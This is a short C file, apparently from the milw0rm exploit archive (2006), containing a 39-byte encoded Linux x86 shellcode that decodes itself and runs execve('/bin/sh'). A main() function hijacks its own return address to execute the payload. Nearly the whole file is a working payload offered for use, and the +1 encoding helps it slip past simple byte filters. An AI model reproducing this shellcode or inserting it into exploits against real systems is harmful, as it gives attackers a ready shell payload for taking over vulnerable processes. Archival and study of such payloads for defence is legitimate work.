34 lines
No EOL
869 B
C
34 lines
No EOL
869 B
C
/*
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* (linux/x86) - execve("/bin/sh", ["/bin/sh"], NULL) / encoded by +1 - 39 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x68\x8a\xe2\xce\x81" // push $0x81cee28a
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"\x68\xb1\x0c\x53\x54" // push $0x54530cb1
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"\x68\x6a\x6f\x8a\xe4" // push $0xe48a6f6a
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"\x68\x01\x69\x30\x63" // push $0x63306901
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"\x68\x69\x30\x74\x69" // push $0x69743069
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"\x6a\x14" // push $0x14
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"\x59" // pop %ecx
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//
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// <_unpack_loop>:
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//
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"\xfe\x0c\x0c" // decb (%esp,%ecx,1)
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"\x49" // dec %ecx
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"\x79\xfa" // jns <_unpack_loop>
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"\x41" // inc %ecx
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"\xf7\xe1" // mul %ecx
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"\x54" // push %esp
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"\xc3"; // ret
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-25]
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